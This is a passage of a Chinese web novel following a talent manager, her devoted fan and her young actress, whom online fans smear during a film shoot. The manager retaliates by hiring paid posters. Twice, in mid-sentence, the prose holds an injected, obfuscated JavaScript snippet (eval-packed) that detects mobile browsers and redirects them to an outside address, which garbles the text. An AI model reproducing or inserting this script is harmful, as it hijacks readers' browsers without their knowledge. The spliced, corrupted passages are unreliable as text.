走出通道的那一刻,机场灯光有些刺眼,宫欢微微眯了下眼。 “欢欢!是欢欢!!!她出来了——啊啊啊啊!!!” “那个就是欢欢!是她是她!!宫欢!看这里!!” “啊啊啊啊欢妹爱你!” 她还没看清前路,耳边就一下涌来叽叽喳喳的叫喊声,音量极大,但似乎被人说了,一下又降低许多,大概是控制不住激动,能听到过分挤压嗓音而显得尖锐的哼鸣。 宫欢被声音刺得缩了缩肩膀,眨了眨眼往旁边看,几个穿着打扮可爱的女孩子蹦蹦蹦跳跳地晃着应援棒和电子举牌,有个人身前还挂着横幅——‘宫欢天下无敌’。 “......” 不知为何有点羞耻感,宫欢突如其来的害羞,她慢慢挪着步子往旁边靠,朝几人招招手。 这会她才看见站在最前方,一身黑衣服的大粉,他换了个新的电子举牌,颜色和之前不同,这次是黑粉色的“欢欢打爆全场”。 其他人都在他后面排成一列,有序而不乱,声音也不大。 机场里有些人往这看了几眼,便不再关注了,A市机场每天接机的人有很多,明星也经常出现,名不见经传的明星就更多,不值得过多关注。 宫欢走近大粉,有些拘谨,像是第一次见面:“那个,等久了吧。”说着,一双灵动的眼睛往他身后看,像是在认人似的。 他身后有四五个人,一个个都往前面挤,生怕错过宫欢,但又压抑着,遵循先来后到的原则,等粉头打过招呼。 奚亭云低着头看她,两人都带着帽子,从其他角度来看,意外地搭。 “没有很久,”奚亭云一句带过,他将在手里攥了许久的泛黄信封递到她面前,信封封口处用火漆印章封上,“这是我的信。” 宫欢低头,目光落在信封上,像是羊皮纸材质的信封中间有一朵手绘的简笔玫瑰,她接过来,触手可感到厚度,貌似里面不止一张纸。 没等宫欢仔细看,他又补了句:“不要拆开看。” 宫欢以为自己听错了:“啊?不拆开?” 面前的大粉眼瞳和上次不太一样,是有些偏冷的银色瞳孔,一些额发散落在眉心,显得缥缈而冷然。 是戴了美瞳吗? 他敛眸,语气沉缓,郑重其事:“这封信我写了很久,想第一时间给你,但我不想让你这么快看见里面的内容。宫欢,如果我说不要看,你会不看吗?” 虽然不太明白他的意思,但宫欢还是尊重他人的心血:“当然了,这是你写的信,你不想让我看,我就不看......那还要给我吗?” “要,”奚亭云说,“你一定要拿着,只是看信的时机,还没有到。” 宫欢:“那什么时候能看?” 他说:“合适的时候。” 宫欢:“......?” 要不是这里人多,宫欢真的会骂他。 她不再多说,看他一眼后继续往前走,其他粉丝见状纷纷涌了过来,塞信的、递花的、要抱的、合照的,明明只有四五个人,却像快要把宫欢给淹了似的。 还有一个人一口气说了很长一串话:“欢欢!!我很早就喜欢你了,从你做独立经纪人的时候就一直关注你,我知道你有自己的理想抱负,绝对不是媒体说的那样是个爱耍大牌的人,以后有什么活动可以告诉我们吗?大家都很想经常看看你。” 宫欢刚被人抱了个大大的满怀,她缩着脖子钻出来,听见这么一段话,想了想,才说:“我毕竟是个经纪人,很多心思都只会放在艺人身上,大多时候是在幕后工作,出活动露面的机会比较少......” “没关系!我们愿意等你!!” 和预想中好像不太一样,宫欢只好用官方话术回答:“有活动的话,一定会告诉大家。” 这么官方,生硬的一段话,她们就都能高兴得直蹦,激动地要合照签名。 总共就五个人,宫欢签完很快,每个人都拿到了签名合照,宫欢也收了所有人的信。 她临上车前向奚亭云招手,说:“我转钱给你,请她们吃点东西休息一下。” 奚亭云想说不用,但宫欢没多说,趴在窗口跟众人挥别:“走啦,拜拜,早点回去休息,注意安全。” 车开走很远,几人还在机场外激动得互相说话。 奚亭云却略显沉默,仿佛还沉浸在刚才的接触中。 “老大?老大!”一个人叫他,奚亭云回神,“你晚上住哪里啊?” 住——遭了! 奚亭云瞬间忙起来,他给几人点了奶茶甜品,嘱咐道:“欢欢请你们吃东西,我点了外卖等下就到,我有急事先走了!” 说着不顾几人的挽留,拦了一辆车飞快离开。 奚亭云刚才太恍惚,险些忘了一件事。 ——他要赶在宫欢之前到家。 68. 信 别墅门外,宫欢正站在门前输入密码,包里手里塞满了粉丝送的花和信。 嘀嘀。 别墅门开,她推门而入,慢慢往里走。 身后的别墅门缓慢移动,将要闭合时,被一只手挡住,轻轻推开。 奚亭云鼻息粗重,胸膛起伏不定,他侧着身子,尽量不碰门地挤了进来。 紧赶慢赶,好在赶上了。 借着绿植掩护身型,奚亭云几乎没有脚步声,前面的宫欢似乎心情很好,哼着欢快的曲调,步伐轻盈。 奚亭云边走边脱掉外套,帽子口罩全部扯掉卷成团,准备藏在哪里。 临近正厅,楼梯上走下来一个人,看见宫欢时讶异地叫了一声:“老奚,你在那干嘛呢?” 宫欢当即愣住,立刻回头看。 离她不远处,奚亭云浑身是汗的站在那,像是刚做完运动,皮肤充血,呼吸急促。 “你在我后面做什么?”宫欢皱起眉问,“我都没听见你的脚步声。” “……刚才,做了运动。” 还好他足够快的将衣物丢到旁边的草丛里,不然差点就暴露了。 萧子重走了过来,看见宫欢手里提着花和礼盒,稀奇不已:“这是给我们买礼物了,还算你有良心。” 萧子重伸手要去摸,被宫欢啪得打开手,他痛得直甩手。 “这是我的,”宫欢宝贝似的抱紧了,骄傲地仰头:“我粉丝给我的。” 萧子重不敢置信:“你都有粉丝!??瞎了吧!” 奚亭云和宫欢异口同声:“你才瞎了。” 两人有些意外地互相看了一眼,心思各异。 萧子重越过宫欢,伸手搭上奚亭云的肩膀:“我说你这几天都不着家——唔唔唔!!” 在宫欢纳闷的目光中,奚亭云捂住萧子重的嘴,拖着他往旁边走,镇定自若地笑说:“你早点休息,我们再去研究一下排舞的细节。” 两人消失在视野里,宫欢耸耸肩,抱着一堆东西回了房间。 她将花摆满房间的每一处,温馨的暖色调房间内经过鲜花的点缀更是治愈温柔。 简单洗漱了一番,换上睡衣,宫欢坐在沙发上翻开一封封信,大多数信封都是粉色白色暖黄色的,里面写了许多喜欢宫欢之类的话,还有一些自己的小小的烦恼。 四封信并不多,宫欢没多久就看完了。 最后只剩下那封泛黄的信。 火漆印章的图案也是一朵玫瑰,复古红的漆色使信封有种郑重感,宫欢将信封翻来翻去,手指捏了捏厚度——比所有信都要厚。 她有些怀疑这里面是不是装的钱,如果换算成钱,大概有个三四千。 “不要拆开看。” “合适的时候。” 宫欢头大,她怎么知道什么时候才是合适的时候,万一她觉得现在就挺合适的呢? 他又说不要拆开看,那就是现在还不能拆。 怎么一封信还有这么麻烦的后续。 没办法,谁让人家是她大粉,看在他为她做过不少数据的份上,宫欢勉强答应吧。 她起身,将信封放进梳妆台的抽屉里,合上。 关上所有的灯,宫欢躺在床上。 心里忽而冒出一个隐秘的想法——这封信,从某种意义上来说,好像成了只有他们两个才会知道的秘密。 她跟他也没那么熟吧。 这会不会太亲密了? 他该不会把存折放她这了吧!? 哎呀不想了不想了,快点睡,她明天还得忙呢。 - “老奚你干嘛!?” 萧子重被硬生生拖到后花园,他一抬手甩开奚亭云,没好气地瞪着他:“有什么话好好说,拖着我满院子绕算怎么回事?” 奚亭云喘匀了气,做出了个拜托的手势:“什么都别说。” 萧子重一头雾水:“什么什么说什么??” “我这两天都在好好训练,在家待着,”奚亭云一句一句教他,“其他的都别跟她说。” 萧子重盯着奚亭云左看右看,背过手绕着他360度转圈看,觉出一丝不对味来。 “你最近隔三差五就跑出去,每次还总跟宫欢撞着回来,”萧子重一点点梳理线索,他微微眯眼,仿佛洞察了真相,“你该不会——” 奚亭云有些紧张,这事他以为自己做的很隐蔽,不会有第二个人知道。 “在趁机给她卖好吧!?” 奚亭云:“......”他想多了。 “对,没错,”奚亭云面不改色地承认,“我出身低,什么都不会,当然需要卖好,让她多培养我。” 萧子重啧啧摇头:“你看着挺有骨气的啊,没想到还是屈服于万恶的金钱了。” “你高尚,”奚亭云说,“你为了追求艺术敢于多方面尝试,我不一样,在我面前的路很少,有一条就是奇迹了。” 奚亭云说话真诚不做作,萧子重也不好多说:“但是我们现在在同一个起跑线,你也很厉害了。放心,你的事我们一直帮你瞒着呢。” “谢了,我好像说了很多次谢,下次有机会请你们吃饭。” 两人各自回了房间。 一人拿着一个手机,忐忑不安。 萧子重看着微信的聊天界面,搜肠刮肚找出了能说的话题:【你睡了吗?】 甘惊鸿:【在拍杀青戏,前辈。】 萧子重:【这么快就杀青了,恭喜啊,那之后要回来吗?】 甘惊鸿:【还不呢,我们要去路演,剧组的宣发做的好快,戏拍完就可以直接去宣传了。】 萧子重:【感觉有的忙,宫欢不去陪你吗?】 甘惊鸿:【欢姐说宣发的时候会陪我去,这段时间她有别的工作,我也不是一个人啦,现在有两个小助理呢。】 聊天界面传来一张照片。 甘惊鸿穿着一身蓝白校服,乖乖仰着脸让人补妆,脖颈修长,脑后的马尾辫一度垂落在背后,五官很乖,眼睛柔柔圆圆的清亮。 照片应该是助理拍的,角度和光线都衬托着她的鲜活生动。 萧子重的手指不慎碰到了甘惊鸿的头像,一下点开了她的微信主页,下面一排展示照片里有她这张照片。 最新的朋友圈在几分钟前发出,一共有两张图,一张是这照片,另一张则是试卷和题库解析,上面满是字迹标注,配文:【单虹又刷了好多题。】 这条朋友圈有高姐的评论:【?这也要沉浸式表演吗?】 甘惊鸿回复:【啊啊啊不做题手痒!!】 什么? 萧子重没懂两人的对话内容,他只看出来她在做题,还是高中生的题。 甘惊鸿饰演的角色,貌似就是高中到大学的戏份多,她的表演方式是,沉浸角色吗? 上次,甘惊鸿问他的对戏方法,她有用到吗? 返回聊天界面,萧子重编辑了一会儿文字,总怕问太多她会嫌烦,但现在好像连高姐都和她很熟悉,只有萧子重一无所知。 他纠结半天,发了条消息:【你的表演方式,是沉浸角色,体会角色的一切吗?】 【很不错的方法。】 【你以前经常用吗?】 【我演话剧的时候,也经常这样。】 等待,漫长的等待,时间已经很晚了,她还在拍戏吗? 萧子重抱着这些念头,昏昏欲睡,渐渐睡去。 - 30分钟后。 甘惊鸿:【不好意思前辈,我刚刚去忙了。】 甘惊鸿:【没错没错!!这个方法真的很好用,我之前一直不太会去揣摩角色心理,但是一代入之后,就感觉自己是那个人,然后一切都特别自然。】 甘惊鸿:【当然也要多观察啦,找个观察对象,认真研究小动作细节之类的,话剧一定难度更大吧,前辈很少说关于话剧的一些过往呢。】 剧组这几天人人都忙得脚不沾地。 女主演曲静初,男主演高义南都进组了,原本有些懒散的剧组人员个个都打起了精神。 副导也及时调整了拍摄流程,一天常常是两三场戏穿插着拍,不浪费时间。 如果拍摄顺利,基本上不超过一个月就能全部结束。 两位主演开始拍摄电影剧情内容,而甘惊鸿的戏份则在一段段结束,到了这两天,已经只剩补拍的镜头了。 她基本上杀青了,就看导演那边有没有要补拍的戏份。 副导说,她杀青后可以去忙别的事情了,等路演的时候再回来跟剧组一起。 但是甘惊鸿还是想在剧组里多待一段时间。 一是可以看到两位一线演员的对戏场面,她能学到更多的东西,二是她好像还没彻底出戏,需要点时间缓一缓。 她打算待到宣发的时候,一起跟着宣发完了再回去。 剧组人员提着打光板从甘惊鸿身旁走过,急忙跑去主演旁边打光。 她拿起剧本准备过去,小助理出声:“姐姐,已经十一点多了,不回去休息吗?” 甘惊鸿才想起来她还有两个助理在身边,“我去看看其他老师的表演,你们先回去休息吧,不用管我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126359|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 两个小助理年纪不大,不懂人情世故,只听甘惊鸿这么说就应声下来。 这样很好,不会让甘惊鸿有太多的心理负担,她最怕助理太懂事而强行等她。 抱着剧本小跑到拍摄地点,甘惊鸿挤过外三层里三层的工作人员,来到两位导演身后。 她看看监视器里的呈现效果,时而抬头看两位主演的对手戏。 高义南与一线演员曲静初对戏就显得认真专注很多,中场休息时,两人说说笑笑,俊男靓女一对,让人好不艳羡。 不知道的会以为两人真是情侣。 甘惊鸿视线往旁边移动,两位主演附近,助理们拿着手机给他们拍花絮,四五个机位围了一圈,这架势比剧组的摄影机都多。 副导发现身后的甘惊鸿发怔,伸手在她面前晃了晃:“看入迷啦?” 甘惊鸿不好意思地笑笑:“只是觉得高老师和曲老师关系很好,一看就是经常合作,他们的演戏方式对面都接得住。” 副导左右看看,一只手掩在唇边,低声说:“能不好吗,之前都处过对象呢。” 甘惊鸿眼睛顿时瞪大:“啊?他,他们,没听说过啊。” “嘘嘘——”副导示意她小声点,继续放出瓜,“他们一拍戏就处对象,杀青就不联系了,谁能知道他们谈过。” 这都行!?? 甘惊鸿手指紧紧抓着剧本,嘴抿成一条线,生怕不小心叫出来。 这惊天大瓜,甘惊鸿是真没想到,网上都说两人是非常专业的电影演员,演技在线,颜值出众,粉丝们也都非常和谐,从不撕逼吵架,一派祥和。 谁知道,两位艺人都谈了好几波了! 甘惊鸿消化了很久,才将瓜吃完。 拍摄中场休息,主演们都去补妆。 女一曲静初坐在一边吃水果补充体力,这场戏的情绪消耗比较大,她得酝酿一下。 正坐在休息椅上吃水果,曲静初瞥见导演身后的女二,一身校服显得人很清纯干净,手里拿着笔时不时写着笔记。 蛮用心的小演员。 曲静初想着,吃了两口玫龙蜜瓜,满嘴清甜。 一旁,高义南晃了过来,助理将板凳放在他身后,两人坐在了一起。 曲静初幽幽瞥他一眼,打趣道:“你也不怕被拍到。” 高义南毫无顾忌地拿起拿起小叉子,叉起一块蜜瓜放进自己嘴里:“怕什么,拍戏培养感情不是很正常的事情吗?” 曲静初捂嘴笑:“还是高老师胆子大,我可不敢跟你吃一碗水果,给你了,自己吃。”她塞给高义南,助理又递来一碗水果切块。 “对了,那边那个女二怎么样,”曲静初接过水果,边吃边闲聊,“看着挺认真的。” 高义南看都不想看甘惊鸿一眼,上次在剧组被宫欢狠狠下了面子,他在剧组都抬不起头来了。 “宫欢的艺人,”高义南轻蔑的语气说,“还能怎么样,都是一路货色。” 曲静初疑惑:“看着不像啊,挺上进的一姑娘。” 高义南:“那都是装的,跟她竞争的好几家艺人都被刷掉了,她,带资进组,要不是这电影你是女一,她恐怕就要顶掉这剧本了。” 曲静初在圈里见识过不少这样的情况,见状也就摇摇头,“新人为了上位都这样。” 高义南往监视器后撇了一眼,忽然低声说道:“你知道吗,她之前还想和我炒cp。” “什么!??”曲静初惊到。 见人不信,高义南拿出手机,找到之前探班粉丝发出来的视频,里面出现高义南和甘惊鸿的对手戏。 一些路人粉丝大概是觉得甘惊鸿背着高义南的那一幕有点女A男O的感觉,剪出了一些cp向小视频,点赞量不低。 高义南将视频放给曲静初看,语气里透出不情愿不耐烦来:“这种cp向视频,肯定是她找人自导自演剪出来的,我也就是那天想让粉丝看看对戏,没想到着了她的道......” 曲静初虽然明面上和高义南划清界限,可一旦拍戏了,相处起来,难免都有点占有欲。 她听了连瓜也吃不下了,递给助理时有些烦躁:“带资进组,还拉着你炒cp,你什么意思啊。” 高义南忙低声哄她,各种说好话:“你知道的,我天天都在想你,和你一起拍戏根本没心思理别人,前段时间cp粉挖出来的那些料,都是我故意的......” 两人在这边你情我爱,甘惊鸿不明所以地抬头看了看周围,剧组里的人好像都见怪不怪了。 圈里水真深啊。 69. 资源咖(甘惊鸿) 一大早,宫欢就被高姐电话叫醒。 “小甘那边出事了,”高姐语速极快地说明了情况,“【皎皎月明】主演曲静初发了一条微博,有点暗示小甘是带资进组的资源咖。” 宫欢当即从床上爬起来,打开电脑翻起热搜。 #曲静初微博内涵 #皎皎月明女二 #带资进组 #京南cp锁死 刷到这些热搜,宫欢的大脑里轰得一声。 她震惊道:“曲静初为什么找小甘的茬?她们之前都没交集啊——曲静初之前自己带资进组多少次了,现在还倒打一耙?” 高姐说:“我早上查了一下,小甘在剧组的时候,碰到了高义南粉丝探班,那次他们演对手戏拍了视频发到网上,慢慢的有路人觉得两人非常有cp感,剪辑了一些cp向的视频。” “两个人的cp粉挺多的,这就引起了曲静初高义南cp粉的不满,两边都在暗戳戳的斗,这是最近的事情。” 宫欢翻着第二条热搜里面的评论,看到清一水的控评,几乎都是曲静初的粉丝和高义南粉丝,甘惊鸿目前连微博都还没开,就被带着来回溜。 “我真的......”宫欢压着火气,没把脏话骂出来,“那曲静初怎么回事,我也没惹她啊!” 高姐继续说:“但是你惹高义南了,你忘了,他们两个是‘剧组情侣’。” “我去他大爷,”宫欢一甩鼠标,骂道,“高义南给曲静初吹什么枕边风了,颠颠的就发微博来怼女二,要谈就谈啊,又不谈又要叫,真是作的。” 点开曲静初的微博,宫欢看见最新那条内涵微博: 【和高老师四搭啦,老朋友见面,不过剧组多了个新面孔,还是有点不太适应。】 “不适应滚蛋啊。” 宫欢边看边说,手翻着评论区内容。 曲静初的唯粉极力澄清两人的友谊,cp粉们狂欢盛宴,节奏略乱,但是有粉丝指出剧组新面孔,并逐字逐句地分析“不太适应”。 曲曲曲曲:【曲老师都说不太适应了,那肯定是发生了让她看不过去的事情,她一个老好人都不适应了,剧组指定有点问题。】 想静静:【是不是有谁走后门进组了?两位老师的合作热度都很高,而且还是四搭,想蹭热度的那些低级咖说不准就贴上来了。】 京南春色:【我知道是谁!!指路前几天高老师粉丝发出的探班视频,里面有女二和高老师的对手戏,居然有人嗑他们。】 京南春色:【戏还没播就有人嗑女二和高老师了,这不是水军是什么!?】 经过京南cp粉的引导,曲静初的粉丝发现了女二甘惊鸿的存在,不少人分析后都认为曲静初在内涵女二是资源咖。 有属性不明的粉丝去搜甘惊鸿的履历,发现女二微博都没开通,在娱乐圈甚至是查无此人的状态。 一些看过【围炉夜话】综艺的人点出来: 【甘惊鸿不是在综艺里当背景板的素人吗?当时她还和宫欢分到一组泡茶了,不少人怜爱她要被宫欢坑惨了,没想到也是个资源咖啊。圈里水真深,没一个无辜的。】 曲静初的粉丝们接二连三地发言: 【连履历都没有,演过什么剧都不知道,明显就是被金主硬塞进来的啊,《皎皎月明》有两个一线演员坐镇,都眼馋两位老师的流量,资源咖真是强行插队。】 一时间,关于女二资源咖的热议层出不穷。 宫欢越看越火,没想到高义南那傻逼居然还利用曲静初来诋毁小甘,真是个贱人,上次她就该把汽油泼上去把他烤了。 坐在电脑前,宫欢脸色一阵青一阵白,刚开始还能骂几句,这会儿已经气得说不出话了。 是他们先来找茬的,那么,别怪她把水搅浑了,谁都别想安宁。 得罪她的人,都,得,死! 与高姐的通话还没断,宫欢打开工作微信,说着危机公关的几条可行办法:“现在就是高义南借刀杀人,用曲静初的粉丝来泼脏水,他倒好,美美隐身了是吧。” “你打算怎么做?” “从他们的cp粉下手,”宫欢一边在水军微信群里发消息,一边说,“找人伪装cp粉,架势一定要做足,闹得越大越好,最好到处都能看见cp粉的身影。” “我就不信高义南和曲静初两个人能坐得住,就算他们再好,粉丝总要划分清楚吧。cp粉的存在越明显,他们就绑得越死,还剧组情侣,要么给我公开,要么就此掰了!” 语音通话那头,高姐应道:“要闹这么大?” 宫欢手指哒哒哒地敲着键盘,语气听着就没回旋余地: “是他们先开始的,高义南这么做的时候根本没考虑过小甘的死活,他一句话就能把小甘压死,他一个老不死的考虑过充满梦想的小女孩吗!?” “贱人天不收那就我来收,我凭什么让他好过,要么他死,否则他还是死!” 她机关枪似的一连串话,高姐哑口无言,照着宫欢所说的去联系水军做危机公关。 宫欢在水军群里发了一份文档,是关于京南cp的一些细节,让他们去到处当显眼包。 忙碌时还抽空给甘惊鸿打去了个电话。 电话接通,甘惊鸿那边有些吵:“早啊欢姐,你今天起这么早啊?” 宫欢默默看了眼手机时间,十点多,以她的起床时间来看,是比较早的了。 宫欢咳了咳,委婉地套话:“你在剧组怎么样,都还好吗?” “挺好的呀,我的戏份都拍完了,很顺利,”甘惊鸿声音清甜,听着还挺高兴,“我最近都在看两位主演老师的戏,感觉可以学到很多东西,所以暂时还不回去呢,不用担心我哦。” 宫欢估摸着甘惊鸿还没来得及看微博之类的娱乐新闻,这会儿心态稳得住。 为了防止甘惊鸿被这些糟心事影响,她叮嘱道:“行,你愿意跟组学习钻研是好事,不要被一些人或事影响了,专心一点。” “还有就是,你最近少看手机,少上网,多研究剧本,多跟导演他们聊聊天,手机让助理帮你拿着。” 甘惊鸿一一应下后,宫欢接着跟助理们叮嘱了许多,才挂断电话。 放下手机,宫欢躺在办公椅上。 希望刘导他们别掺和进来,不然这热度,一般人可承受不起。 - 大批水军涌入战场。 京南cp粉一时之间占据了大部分人的视线,热搜,超话,广场上,无处不见,架势一度堪比两边的唯粉。 京南cp超话里面一直发帖: 【各位克制一点!!别再到处当显眼包了,现在唯粉对我们意见很大!说我们在拖两位老师的后腿,大家都冷静一点,不然以后再也看不到五搭了!!】 然而,即使帖子不停的发,cp粉好像不减反增,有些甚至不分场合的评论,到处招惹事情。 渐渐地,众人从针对资源咖甘惊鸿的战火转移至cp粉与各家唯粉大战。 京南cp粉说:“两位老师都会越来越好,我们根本没有别的意思,只是单纯喜欢他们合作时候的对戏氛围!!我们只是想吃一口饭!!” 高义南唯粉说:“连搭几部戏,谁知道曲家是不是故意追着高老师挑本子拍,哦,我说的再清楚一点——倒贴!” 曲静初唯粉说:“高家要不要脸啊,你们那四十多岁的老男人谁稀罕,《皎皎月明》我们曲老师都找女二演高中时期,谁像你们老师那么不要脸,40岁演16岁,那褶子都能夹死蚊子,看着都出戏!” 真·京南cp粉说:“别吵了你们别吵了呜呜呜呜,两位老师都特别好。” 假·水军披皮粉说:“你们吵什么,两位老师就是谈了啊,他们早就领证结婚了只是没公开,你们还在这骂得不可开交,他们说不定正在拍吻戏呢!” 事情发酵得一发不可收拾时,高义南和曲静初确实在拍吻戏。 “卡——”刘导拿着喇叭喊道,“好,恭喜大家,杀青了!” 监视器中的画面停留在高义南饰演的男主出狱,女主特意来接他,两人相视而笑着拥吻。 听到杀青二字,剧组一下沸腾起来,所有人都在鼓掌叫好,道具组放起了礼花炮,副导演则推来一块杀青蛋糕,摄影师扛着镜头,众人前后站了几排,对着镜头欢呼: “杀青啦——” 砰砰砰,彩条花飞舞在空中。 众人切了蛋糕分吃,高义南的助理面色不好地来叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126360|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他:“哥,经纪人那边找你。” 高义南正和曲静初有说有笑地吃着蛋糕,旁边咔嚓咔嚓的连环拍不断,听见助理提醒,他有些不满,但经纪人那边不敢多耽误。 高义南只好礼貌退场,跟着助理来到房车旁边,手机视频里他的经纪人神色严肃:“你知不知道现在闹成什么样,你跟曲静初怎么回事!” 高义南不明所以:“怎么了,不就是发了条四搭微博吗。” “怎么了?你自己上网看看!”经纪人怒声道,“cp粉闹成那样,再不管你唯粉全都没了!” “什么!?” 另一边,曲静初也被助理叫走,视频通话一打开,经纪人劈头盖脸地就是一通质问:“你跟高义南混在一块干嘛啊,我早就说你玩玩就算了,发微博那不就是坐实你们一直默许cp粉猖狂吗!!” 曲静初懵了:“怎么了啊姐?” 主演都离开后,只剩下剧组人员,大家没刚才那么束手束脚,纷纷闲聊起来。 总算杀青了,之后就是剧宣和上映之类的事,剧组可以休息一段时间。 甘惊鸿捧着一小块蛋糕,用塑料叉子抠下一点奶油放进口中抿了抿,好像在品鉴什么高级食物一般。 她不敢大口吃,可又馋得很,只能这样解解馋了。 副导走过来,吃着蛋糕跟她聊起天:“都杀青了吃一块庆祝庆祝,不会胖多少。” 甘惊鸿飞快地摇头:“不行,胖了上镜不好看,过段时间剧宣要出现场,要是影迷们看我跟电影里面不一样,肯定会失望的。” “对自己要求还挺严的嘛。”副导笑说。 在两人身后,小助理举着手机悄悄路过,走到高义南的房车附近便找了个位置躲起来。 助理将手机镜头对准了高义南,询问道:“这个角度可以吗?” “OK。” 宫欢的脸出现在镜头里,她仍穿着睡衣,脸怼到镜头前,仔细看房车旁的高义南气急败坏,“他们刚才吵架了吗?” 助理想了想:“吵了,和曲老师那边一样,都是被叫去接电话,然后有一些吵闹的声音。” YES!! 宫欢做了个胜利的手势,她继续观察了会儿,听见高义南叫骂,以往那儒雅有礼的形象崩了,他气得连踹几下房车,双手烦躁地挠着头发。 宫欢解气般地大笑几声。 两小时后,高义南与曲静初两方,在cp粉与唯粉闹得越来越难看时出了声明。 高义南方面说:自己与曲静初只是朋友,希望大家理性嗑cp。 曲静初方面说:她的微博并无任何内涵意思,只是单纯地感叹,合作愉快等等之类的话。 此时的热议舆论,都被主演们的爱恨情仇吸引了过去。 甘惊鸿资源咖的说法渐渐退去,毕竟她只是个名不见经传的女二,不值得大家过多关注。 有些粉丝怒火未消,跑去导演组微博下一起炮轰: 【女二要是乱加戏影响了两位老师的戏份,她就等着凉吧!】 【资源咖你们也敢用?两位一线演员还不够撑起你们这小制作吗!】 【别以为这事就这么过了,到时候票房不理想,那就全是女二的锅!】 【女二到底有没有加戏,乱加戏不看。】 导演组微博由刘导管理,他对微博那腥风血雨有些厌烦,懒得去看到底是怎么回事。 但是有人舞到脸上来就不一样了,他也跟着发了条声明微博: 【《皎皎月明》杀青,大家都非常敬业,是很完美的一次合作,后期制作结束后,将会在几个一线城市路演首映,到时候会发具体城市和地址,感谢各位的支持。】 刘导上一部文艺片在各大平台上都有非常好的口碑,报名的电影奖项还在审评中,多数人对他还是比较信任的,有些影迷直接评论: 【相信刘导,网上再多舆论都别管,咱只管拍好电影就行。】 【期待《皎皎月明》!】 【期待期待!】 过了两天,热度渐渐降下去。 宫欢让甘惊鸿开通了微博,介绍上面没有写以前饰演过的龙套角色,而是写着—— 一个小演员,代表作《皎皎月明》。 70. 修改结局1(甘惊鸿) 【皎皎月明】剧组杀青。 剧组的所有人员这两天都在闹哄哄地交谈着,猜测上映后的盛况,一些人自发组织去庆祝,或是起哄让导演请客举办杀青宴。 “主演呢?你们看见曲老师和高老师没?” “没啊,这两天没怎么看见了,是不是走了哦。” “没那么快吧,杀青宴还没过呢。” 副导四处张望找不见人,却看见监视器后,坐在休息椅上有些孤零零的甘惊鸿。 她一只手捧着手机,脸色略有些苍白。 副导走了过来,问道:“小甘,你看见高老师和曲老师了吗,一个人坐这多无聊啊,等下有杀青宴呢。” 甘惊鸿将停留在微博页面的手机锁屏,放进外套口袋中,她深吸一口气:“高老师应该在房车里面,曲老师今天没来,或许在酒店。” “谢了啊,我去问问有没有要补拍的镜头。”副导说着要走。 “等一下。”甘惊鸿忽然叫住她。 副导回头,却撞进甘惊鸿那有些漆黑的眼中,眸色透出种坚定不退让的神色来,让副导不由得一愣:“怎么了?” 曲静初发微博后的两天里,甘惊鸿都没有摸过手机。 她保持着进了剧组就尽量少分散注意的习惯,一直对外界的事情不了解。 而今天,欢姐让她开通微博,甘惊鸿才发现前两天究竟发生了怎样的风波。 欢姐一个字都没提起过,大概是怕影响她,而开通微博,也是委婉地让她看一下风波过去后,结果如何。 资源咖。 带资进组。 走后门。 …… 形容她的词汇居然能多到这种程度,甘惊鸿看了足足半个小时都没发现重复的言论。 看得久了,她都怀疑自己是不是如这些言论所说的那样,对自己产生了一瞬的怀疑,而后是确定。 她是走了后门,由欢姐介绍的资源而来。 可后门是所有人的门槛线,她只是走到了门槛边,还没迈进门内。 她没有做错事情,她不认这些。 甘惊鸿最初是想一一反驳回去那些评论,可事情已经降了热度,她要是再去胡乱回复,只会让欢姐头疼。 说几句就说几句吧,又不会怎样,欢姐的舆论比她多了几百倍,却一直都很有勇气地扛过去。 那她也可以。 可,事情难道就要这样结束吗? 甘惊鸿怔怔地想了很久。 她来到剧组的这段时间里,勤勤恳恳,认真学习,她自问自己一直都很好相处,从不惹是生非,但还是被人欺负。 高义南无缘无故害她高烧,曲静初发微博内涵她是资源咖。 难道她就该被欺负? 没权没势就该被欺凌? 甘惊鸿想到,她高烧后回到剧组,副导浮夸且添油加醋地描述——宫欢为她出头的大场面,差点把高义南的房车炸了,闹得整个剧组胆战心惊。 这些时间以来,甘惊鸿不说自己学会多少东西,但她在宫欢身上学到一件事——被欺负了就要还回去。 她不能总是让别人来保护她。 还也要分情况,欢姐敢大闹剧组是因为她有底气和本钱,但甘惊鸿没有,所以,她要找到自己的方式,达到自己的目的。 理清楚思绪,甘惊鸿看着副导,拿起放在一边的剧本:“副导姐姐,我想知道刘导是怎么看中这个剧本的?” 副导不太明白她怎么突然聊起这个,这都杀青了,拍摄都已结束,还问这个有什么意义。 不过年轻演员嘛,都喜欢把剧本研究个透彻,副导难得见甘惊鸿这么执着认真的演员。 而且这段时间以来,她在剧组一直看着甘惊鸿拍摄的,知道她是个实诚孩子,多说点对甘惊鸿未来的演员之路说不定会有帮助。 副导找人不急,她索性来到甘惊鸿旁边,闲聊起来:“这说来就话长了。” 接下来的一小时里,甘惊鸿仔细听着副导的每句话,试图找出能和她心里的那个念头搭在一起的可能性。 之前拍摄间隙,在单虹学生时期加戏的时候,甘惊鸿就隐约感觉到了些—— 副导演是一位编剧,而刘导又很注重一部电影的逻辑性、戏剧性,他们的目的都是想要这部电影达到完美。 